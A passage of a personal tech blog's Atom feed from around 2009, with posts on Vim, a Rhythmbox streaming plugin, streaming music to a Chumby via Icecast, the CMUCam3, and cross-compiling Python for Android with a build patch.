rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=7712970923327202076" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/7712970923327202076?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/7712970923327202076?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/3l2z99VApC4/ubuntu-on-olpc-xo.html" title="Ubuntu on the OLPC XO" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/02/ubuntu-on-olpc-xo.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMBR3kzeSp7ImA9WxVXE0U.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-7917012211820931701</id><published>2009-02-11T15:57:00.005+01:00</published><updated>2009-02-11T21:17:36.781+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-11T21:17:36.781+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="vim" /><title>Vim Features Overview</title><content type="html">I just found this really nice overview of Vim features while reading up on omni completion. I've used Vim for years and still found quite a few tidbits in there that were news to me. Good ol' Vim. Always full of surprises.&lt;br /&gt;&lt;br /&gt;&lt;a title="View VIM for (PHP) Programmers document on Scribd" href="http://www.scribd.com/doc/263139/VIM-for-PHP-Programmers" style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;"&gt;VIM for (PHP) Programmers&lt;/a&gt; &lt;object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" id="doc_504131681790353" name="doc_504131681790353" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" align="middle" height="500" width="100%"&gt;  &lt;param name="movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=263139&amp;access_key=2hq0m85toiv8m&amp;page=1&amp;version=1&amp;viewMode="&gt;   &lt;param name="quality" value="high"&gt;   &lt;param name="play" value="true"&gt;  &lt;param name="loop" value="true"&gt;   &lt;param name="scale" value="showall"&gt;  &lt;param name="wmode" value="opaque"&gt;   &lt;param name="devicefont" value="false"&gt;  &lt;param name="bgcolor" value="#ffffff"&gt;   &lt;param name="menu" value="true"&gt;  &lt;param name="allowFullScreen" value="true"&gt;   &lt;param name="allowScriptAccess" value="always"&gt;   &lt;param name="salign" value=""&gt;      &lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=263139&amp;access_key=2hq0m85toiv8m&amp;page=1&amp;version=1&amp;viewMode=" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_504131681790353_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle"  height="500" width="100%"&gt;&lt;/embed&gt; &lt;/object&gt; &lt;div style="margin: 6px auto 3px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 12px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block;"&gt; &lt;a href="http://www.scribd.com/upload" style="text-decoration: underline;"&gt;Publish at Scribd&lt;/a&gt; or &lt;a href="http://www.scribd.com/browse" style="text-decoration: underline;"&gt;explore&lt;/a&gt; others:    &lt;a href="http://viewer.scribd.com/browse?c=100-internet-technology" style="text-decoration: underline;"&gt;Internet &amp;amp; Technolog&lt;/a&gt;      &lt;a href="http://viewer.scribd.com/browse?c=166-internet-technology" style="text-decoration: underline;"&gt;Internet &amp;amp; Technolog&lt;/a&gt;       &lt;a href="http://viewer.scribd.com/tag/vim" style="text-decoration: underline;"&gt;vim&lt;/a&gt;      &lt;a href="http://viewer.scribd.com/tag/Technology-UNIX" style="text-decoration: underline;"&gt;Technology-UNIX&lt;/a&gt;    &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-7917012211820931701?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/_uMiMMKsCB4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/7917012211820931701/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=7917012211820931701" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/7917012211820931701?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/7917012211820931701?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/_uMiMMKsCB4/vim-feature-overview.html" title="Vim Features Overview" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/02/vim-feature-overview.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcHRHczfip7ImA9WxVRGEQ.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-7566533333268496038</id><published>2009-01-25T15:13:00.006+01:00</published><updated>2009-01-25T15:33:55.986+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-25T15:33:55.986+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="icecast" /><category scheme="http://www.blogger.com/atom/ns#" term="rhythmbox" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="music" /><category scheme="http://www.blogger.com/atom/ns#" term="chumby" /><title>Rhythmbox shout2send Plugin</title><content type="html">&lt;a href="http://www.damonkohler.com/2009/01/streaming-music-to-chumby-with.html"&gt;As promised&lt;/a&gt;, here is &lt;a href="http://www.masterdamonkohler.com/static/shout2send.tgz"&gt;my Rhythmbox plugin&lt;/a&gt; for streaming whatever is currently playing. To install, just extract it in &lt;code&gt;~/.gnome2/rhythmbox/plugins&lt;/code&gt;. I use the following alias to start playing the stream on my Chumby.&lt;pre class="prettyprint"&gt;alias chumbystream="ssh root@chumby btplay --output=alsa:plug:dmixer http://server:8000/stream.ogg"&lt;/pre&gt;I also have a few troubleshooting tips.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Make sure you haven't muted Rhythmbox. You can control the volume of the stream output using the volume control in Rhythmbox.&lt;/li&gt;&lt;li&gt;Make sure your Icecast server is running.&lt;/li&gt;&lt;li&gt;If Rhythmbox behaves oddly, try disabling the plugin, restarting Rhythmbox, and re-enable the plugin.&lt;/li&gt;&lt;/ul&gt;If you're interested in writing Python plugins for Rhythmbox, the source code for this plugin is pretty simple. It may serve as a good starting point.  Also, see the &lt;a href="http://live.gnome.org/RhythmboxPlugins/WritingGuide"&gt;Rhythmbox plugin writing guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This is not only my first Rhythmbox plugin, but also my first use of GTK, Glade, and GConf. I already had a little experience with &lt;a href="http://wiki.laptop.org/go/GStreamer#audio_encoding"&gt;GStreamer on the OLPC&lt;/a&gt;. Overall, the process was amazingly painless. Props to the Rhythmbox team for making the process of writing plugins so easy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-7566533333268496038?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/6GA5ZIr2yuI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/7566533333268496038/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=7566533333268496038" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/7566533333268496038?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/7566533333268496038?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/6GA5ZIr2yuI/rhythmbox-shout2send-plugin.html" title="Rhythmbox shout2send Plugin" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/01/rhythmbox-shout2send-plugin.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0AHQXg_cSp7ImA9WxVRGEQ.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-3054488961570149592</id><published>2009-01-24T15:22:00.007+01:00</published><updated>2009-01-25T17:08:50.649+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-25T17:08:50.649+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="icecast" /><category scheme="http://www.blogger.com/atom/ns#" term="rhythmbox" /><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="gstreamer" /><category scheme="http://www.blogger.com/atom/ns#" term="music" /><category scheme="http://www.blogger.com/atom/ns#" term="chumby" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><title>Streaming Music to the Chumby with PulseAudio and GStreamer</title><content type="html">I spent a little while today figuring out how to stream the music I was playing in &lt;a href="http://projects.gnome.org/rhythmbox/"&gt;Rhythmbox&lt;/a&gt; (in the living room) to my &lt;a href="http://www.chumby.com/"&gt;Chumby&lt;/a&gt; (in the kitchen) . I found &lt;a href="http://elitistslounge.com/2008/10/29/stream-pulseaudio-output-to-shouticecast-server/"&gt;a nice article&lt;/a&gt; that explains how to set up a &lt;a href="http://gstreamer.freedesktop.org/"&gt;GStreamer&lt;/a&gt; pipeline for streaming the monitor output from &lt;a href="http://www.pulseaudio.org/"&gt;PulseAudio&lt;/a&gt; through &lt;a href="http://www.icecast.org/"&gt;Icecast&lt;/a&gt;. It works quite well for streaming to the Chumby (except for a pretty significant lag).  Here's the quick start guide for Ubuntu Intrepid:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://ubuntuforums.org/showthread.php?t=997506&amp;amp;highlight=totem+ac3+quiet"&gt;Set up PulseAudio&lt;/a&gt;.&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;$ sudo apt-get install icecast2&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Edit &lt;code&gt;/etc/default/icecast2&lt;/code&gt; to enable Icecast and &lt;code&gt;/etc/icecast2/icecast.xml&lt;/code&gt; to set a password (defaults to "hackme").&lt;/li&gt;&lt;li&gt;&lt;code&gt;$ sudo /etc/init.d/icecast2 start&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Find the name of your PulseAudio monitor device by opening the manager from the PulseAudio applet. It should start with &lt;code&gt;alsa_output.pci&lt;/code&gt; and end with &lt;code&gt;monitor&lt;/code&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;$ gst-launch pulsesrc device=&amp;lt;alsa_output.pci...monitor&amp;gt; ! audioconvert ! vorbisenc ! oggmux ! shout2send mount=/stream.ogg port=8000 password=hackme ip=127.0.0.1&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://wiki.chumby.com/mediawiki/index.php/Chumby_tricks#Open_a_secure_shell_console_on_the_chumby"&gt;Start sshd on your Chumby&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;code&gt;$ ssh root@&amp;lt;chumby_ip&amp;gt; btplay --output=alsa:plug:dmixer http://&amp;lt;server_ip&amp;gt;:8000/stream.ogg&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;I'm working on a Rhythmbox plugin for this. Stay tuned :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.damonkohler.com/2009/01/rhythmbox-shout2send-plugin.html"&gt;Plugin&lt;/a&gt; written.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-3054488961570149592?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/oKIOMhCweTs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/3054488961570149592/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=3054488961570149592" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/3054488961570149592?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/3054488961570149592?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/oKIOMhCweTs/streaming-music-to-chumby-with.html" title="Streaming Music to the Chumby with PulseAudio and GStreamer" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/01/streaming-music-to-chumby-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0INRHg4fSp7ImA9WxVSE0k.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-21602788689334506</id><published>2008-12-31T20:53:00.002+01:00</published><updated>2009-01-07T17:26:35.635+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-07T17:26:35.635+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="cmucam" /><title>Getting started with the CMUCam3</title><content type="html">One of the toys I got this Christmas is the very nifty &lt;a href="http://www.cmucam.org/"&gt;CMUCam3&lt;/a&gt;. I haven't done much with it yet (the first picture I took with it is below). But, I did hit a small bump in the instructions for setting it up under Linux. The &lt;a href="http://www.cmucam.org/wiki/Linux-Quick-Start"&gt;CMUCam3 Linux Quick Start Guide&lt;/a&gt; (overall, quite good) suggests downloading the Linux ARM-gcc compiler from the CMUCam downloads page. However, the link you'll find there has you download an installer binary instead of the bzip package referenced later in the instructions. In the CMUCam3 source directory, however, you'll find that &lt;code&gt;BUILDING.txt&lt;/code&gt; provides a link to the &lt;a href="http://www.codesourcery.com/gnu_toolchains/arm/download.html"&gt;CodeSourcery download page&lt;/a&gt;. From there you can find the bzip packaged version of the toolchain. I recommend that route instead.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_S_hSHjWfzvo/SVvQfpwZhEI/AAAAAAAAF90/6CDZFRLbfxA/s1600-h/cmucam.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; width: 177px; height: 145px;" src="http://1.bp.blogspot.com/_S_hSHjWfzvo/SVvQfpwZhEI/AAAAAAAAF90/6CDZFRLbfxA/s320/cmucam.jpg" alt="" id="BLOGGER_PHOTO_ID_5286047829852783682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update&lt;/span&gt;&lt;br /&gt;Be sure to download the EABI target OS version.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-21602788689334506?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/u_xm2kiyvFI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/21602788689334506/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=21602788689334506" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/21602788689334506?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/21602788689334506?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/u_xm2kiyvFI/getting-started-with-cmucam3.html" title="Getting started with the CMUCam3" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_S_hSHjWfzvo/SVvQfpwZhEI/AAAAAAAAF90/6CDZFRLbfxA/s72-c/cmucam.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/12/getting-started-with-cmucam3.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8ER3s-cCp7ImA9WxJWE0g.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-999402458557448581</id><published>2008-12-19T18:52:00.003+01:00</published><updated>2009-06-18T21:36:46.558+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-18T21:36:46.558+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="android" /><title>Python on Android</title><content type="html">&lt;span style="font-weight: bold;"&gt;Note:&lt;/span&gt; This post is out of date. If you'd like to run Python on your Android device, please see my &lt;a href="http://code.google.com/p/android-scripting"&gt;Android Scripting Environment&lt;/a&gt; project.&lt;br /&gt;&lt;br /&gt;Here's an early Christmas present for all those Python fanatics (self included) out there! With a lot of help from my friends (thanks &lt;a href="http://klimek.box4.net/"&gt;Manuel&lt;/a&gt; and &lt;a href="http://www.ohloh.net/p/python/contributors/113816634777"&gt;Thomas&lt;/a&gt;!) I managed to install Python 2.4.5 on my G1.  It's still rough around the edges, but I think it's a good start. &lt;a href="http://www.ailis.de/%7Ek/"&gt;Klaus Reimer&lt;/a&gt; has a nice &lt;a href="http://www.ailis.de/%7Ek/archives/19-ARM-cross-compiling-howto.html#python"&gt;overview of how to cross-compile Python&lt;/a&gt;. My instructions borrow a lot from his.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download and build the &lt;a href="http://source.android.com/download"&gt;Android source&lt;/a&gt;. These directions assume that you have installed the source to &lt;code&gt;/android_src&lt;/code&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Download and build the &lt;a href="http://www.python.org/download/releases/2.4.5/"&gt;Python 2.4.5 source&lt;/a&gt;. These directions assume that you have installed the source to &lt;code&gt;/python_src&lt;/code&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Make copies of python and pgen for use later in the build process then clean up.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="prettyprint"&gt;$ cd /python_src&lt;br /&gt;$ cp python hostpython&lt;br /&gt;$ cp Parser/pgen Parser/hostpgen&lt;br /&gt;$ make distclean&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;Apply the following patch to the Python source.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="prettyprint"&gt;diff -r -c -b Python-2.4.5/Makefile.pre.in Python-2.4.5-android/Makefile.pre.in&lt;br /&gt;*** Python-2.4.5/Makefile.pre.in Sun Oct  8 19:41:25 2006&lt;br /&gt;--- Python-2.4.5-android/Makefile.pre.in Fri Dec 19 10:02:17 2008&lt;br /&gt;***************&lt;br /&gt;*** 166,171 ****&lt;br /&gt;--- 166,172 ----&lt;br /&gt;&lt;br /&gt;PYTHON=  python$(EXE)&lt;br /&gt;BUILDPYTHON= python$(BUILDEXE)&lt;br /&gt;+ HOSTPYTHON= ./$(BUILDPYTHON)&lt;br /&gt;&lt;br /&gt;# === Definitions added by makesetup ===&lt;br /&gt;&lt;br /&gt;***************&lt;br /&gt;*** 192,197 ****&lt;br /&gt;--- 193,199 ----&lt;br /&gt;##########################################################################&lt;br /&gt;# Parser&lt;br /&gt;PGEN=  Parser/pgen$(EXE)&lt;br /&gt;+ HOSTPGEN=       $(PGEN)&lt;br /&gt;&lt;br /&gt;POBJS=  \&lt;br /&gt;Parser/acceler.o \&lt;br /&gt;***************&lt;br /&gt;*** 324,331 ****&lt;br /&gt;# Build the shared modules&lt;br /&gt;sharedmods: $(BUILDPYTHON)&lt;br /&gt;case $$MAKEFLAGS in \&lt;br /&gt;!  *-s*) $(RUNSHARED) CC='$(CC)' LDSHARED='$(BLDSHARED)' OPT='$(OPT)' ./$(BUILDPYTHON) -E $(srcdir)/setup.py -q build;; \&lt;br /&gt;!  *) $(RUNSHARED) CC='$(CC)' LDSHARED='$(BLDSHARED)' OPT='$(OPT)' ./$(BUILDPYTHON) -E $(srcdir)/setup.py build;; \&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;# buildno should really depend on something like LIBRARY_SRC&lt;br /&gt;--- 326,333 ----&lt;br /&gt;# Build the shared modules&lt;br /&gt;sharedmods: $(BUILDPYTHON)&lt;br /&gt;case $$MAKEFLAGS in \&lt;br /&gt;!  *-s*) $(RUNSHARED) CC='$(CC)' LDSHARED='$(BLDSHARED)' OPT='$(OPT)' $(HOSTPYTHON) -E $(srcdir)/setup.py -q build;; \&lt;br /&gt;!  *) $(RUNSHARED) CC='$(CC)' LDSHARED='$(BLDSHARED)' OPT='$(OPT)' $(HOSTPYTHON) -E $(srcdir)/setup.py build;; \&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;# buildno should really depend on something like LIBRARY_SRC&lt;br /&gt;***************&lt;br /&gt;*** 455,461 ****&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$(GRAMMAR_H) $(GRAMMAR_C): $(PGEN) $(GRAMMAR_INPUT)&lt;br /&gt;!   -$(PGEN) $(GRAMMAR_INPUT) $(GRAMMAR_H) $(GRAMMAR_C)&lt;br /&gt;&lt;br /&gt;$(PGEN): $(PGENOBJS)&lt;br /&gt;$(CC) $(OPT) $(LDFLAGS) $(PGENOBJS) $(LIBS) -o $(PGEN)&lt;br /&gt;--- 457,463 ----&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$(GRAMMAR_H) $(GRAMMAR_C): $(PGEN) $(GRAMMAR_INPUT)&lt;br /&gt;!   -$(HOSTPGEN) $(GRAMMAR_INPUT) $(GRAMMAR_H) $(GRAMMAR_C)&lt;br /&gt;&lt;br /&gt;$(PGEN): $(PGENOBJS)&lt;br /&gt;$(CC) $(OPT) $(LDFLAGS) $(PGENOBJS) $(LIBS) -o $(PGEN)&lt;br /&gt;***************&lt;br /&gt;*** 748,767 ****&lt;br /&gt;done; \&lt;br /&gt;done&lt;br /&gt;$(INSTALL_DATA) $(srcdir)/LICENSE $(DESTDIR)$(LIBDEST)/LICENSE.txt&lt;br /&gt;!  PYTHONPATH=$(DESTDIR)$(LIBDEST)  $(RUNSHARED) \&lt;br /&gt;!   ./$(BUILDPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \&lt;br /&gt;-d $(LIBDEST) -f \&lt;br /&gt;-x 'badsyntax|site-packages' $(DESTDIR)$(LIBDEST)&lt;br /&gt;!  PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \&lt;br /&gt;!   ./$(BUILDPYTHON) -Wi -tt -O $(DESTDIR)$(LIBDEST)/compileall.py \&lt;br /&gt;-d $(LIBDEST) -f \&lt;br /&gt;-x 'badsyntax|site-packages' $(DESTDIR)$(LIBDEST)&lt;br /&gt;-PYTHONPATH=$(DESTDIR)$(LIBDEST)  $(RUNSHARED) \&lt;br /&gt;!   ./$(BUILDPYTHON) -Wi -t $(DESTDIR)$(LIBDEST)/compileall.py \&lt;br /&gt;-d $(LIBDEST)/site-packages -f \&lt;br /&gt;-x badsyntax $(DESTDIR)$(LIBDEST)/site-packages&lt;br /&gt;-PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \&lt;br /&gt;!   ./$(BUILDPYTHON) -Wi -t -O $(DESTDIR)$(LIBDEST)/compileall.py \&lt;br /&gt;-d $(LIBDEST)/site-packages -f \&lt;br /&gt;-x badsyntax $(DESTDIR)$(LIBDEST)/site-packages&lt;br /&gt;&lt;br /&gt;--- 750,769 ----&lt;br /&gt;done; \&lt;br /&gt;done&lt;br /&gt;$(INSTALL_DATA) $(srcdir)/LICENSE $(DESTDIR)$(LIBDEST)/LICENSE.txt&lt;br /&gt;!  -PYTHONPATH=$(DESTDIR)$(LIBDEST)  $(RUNSHARED) \&lt;br /&gt;!   $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \&lt;br /&gt;-d $(LIBDEST) -f \&lt;br /&gt;-x 'badsyntax|site-packages' $(DESTDIR)$(LIBDEST)&lt;br /&gt;!  -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \&lt;br /&gt;!   $(HOSTPYTHON) -Wi -tt -O $(DESTDIR)$(LIBDEST)/compileall.py \&lt;br /&gt;-d $(LIBDEST) -f \&lt;br /&gt;-x 'badsyntax|site-packages' $(DESTDIR)$(LIBDEST)&lt;br /&gt;-PYTHONPATH=$(DESTDIR)$(LIBDEST)  $(RUNSHARED) \&lt;br /&gt;!   $(HOSTPYTHON) -Wi -t $(DESTDIR)$(LIBDEST)/compileall.py \&lt;br /&gt;-d $(LIBDEST)/site-packages -f \&lt;br /&gt;-x badsyntax $(DESTDIR)$(LIBDEST)/site-packages&lt;br /&gt;-PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \&lt;br /&gt;!   $(HOSTPYTHON) -Wi -t -O $(DESTDIR)$(LIBDEST)/compileall.py \&lt;br /&gt;-d $(LIBDEST)/site-packages -f \&lt;br /&gt;-x badsyntax $(DESTDIR)$(LIBDEST)/site-packages&lt;br /&gt;&lt;br /&gt;***************&lt;br /&gt;*** 856,862 ****&lt;br /&gt;# Install the dynamically loadable modules&lt;br /&gt;# This goes into $(exec_prefix)&lt;br /&gt;sharedinstall:&lt;br /&gt;!  $(RUNSHARED) ./$(BUILDPYTHON) -E $(srcdir)/setup.py install \&lt;br /&gt;   --prefix=$(prefix) \&lt;br /&gt;--install-scripts=$(BINDIR) \&lt;br /&gt;--install-platlib=$(DESTSHARED) \&lt;br /&gt;--- 858,864 ----&lt;br /&gt;# Install the dynamically loadable modules&lt;br /&gt;# This goes into $(exec_prefix)&lt;br /&gt;sharedinstall:&lt;br /&gt;!  $(RUNSHARED) $(HOSTPYTHON) -E $(srcdir)/setup.py install \&lt;br /&gt;   --prefix=$(prefix) \&lt;br /&gt;--install-scripts=$(BINDIR) \&lt;br /&gt;--install-platlib=$(DESTSHARED) \&lt;br /&gt;diff -r -c -b Python-2.4.5/Modules/pwdmodule.c Python-2.4.5-android/Modules/pwdmodule.c&lt;br /&gt;*** Python-2.4.5/Modules/pwdmodule.c Wed Sep 27 21:17:32 2006&lt;br /&gt;--- Python-2.4.5-android/Modules/pwdmodule.c Fri Dec 19 10:26:14 2008&lt;br /&gt;***************&lt;br /&gt;*** 77,83 ****&lt;br /&gt;#ifdef __VMS&lt;br /&gt;SETS(setIndex++, "");&lt;br /&gt;#else&lt;br /&gt;!  SETS(setIndex++, p-&amp;gt;pw_gecos);&lt;br /&gt;#endif&lt;br /&gt;SETS(setIndex++, p-&amp;gt;pw_dir);&lt;br /&gt;SETS(setIndex++, p-&amp;gt;pw_shell);&lt;br /&gt;--- 77,83 ----&lt;br /&gt;#ifdef __VMS&lt;br /&gt;SETS(setIndex++, "");&lt;br /&gt;#else&lt;br /&gt;!  SETS(setIndex++, "");//p-&amp;gt;pw_gecos);&lt;br /&gt;#endif&lt;br /&gt;SETS(setIndex++, p-&amp;gt;pw_dir);&lt;br /&gt;SETS(setIndex++, p-&amp;gt;pw_shell);&lt;br /&gt;diff -r -c -b Python-2.4.5/Modules/socketmodule.c Python-2.4.5-android/Modules/socketmodule.c&lt;br /&gt;*** Python-2.4.5/Modules/socketmodule.c Tue Oct 10 18:20:41 2006&lt;br /&gt;--- Python-2.4.5-android/Modules/socketmodule.c Fri Dec 19 17:51:36 2008&lt;br /&gt;***************&lt;br /&gt;*** 61,66 ****&lt;br /&gt;--- 61,67 ----&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;+ #define INET_ADDRSTRLEN 16&lt;br /&gt;#ifdef __APPLE__&lt;br /&gt;/*&lt;br /&gt; * inet_aton is not available on OSX 10.3, yet we want to use a binary&lt;br /&gt;diff -r -c -b Python-2.4.5/Objects/fileobject.c Python-2.4.5-android/Objects/fileobject.c&lt;br /&gt;*** Python-2.4.5/Objects/fileobject.c Tue Jan 23 16:09:19 2007&lt;br /&gt;--- Python-2.4.5-android/Objects/fileobject.c Fri Dec 19 16:47:32 2008&lt;br /&gt;***************&lt;br /&gt;*** 1,5 ****&lt;br /&gt;--- 1,6 ----&lt;br /&gt;/* File object implementation */&lt;br /&gt;&lt;br /&gt;+ #include "/android_src/bionic/libc/stdio/clrerr.c"&lt;br /&gt;#include "Python.h"&lt;br /&gt;#include "structmember.h"&lt;br /&gt;&lt;br 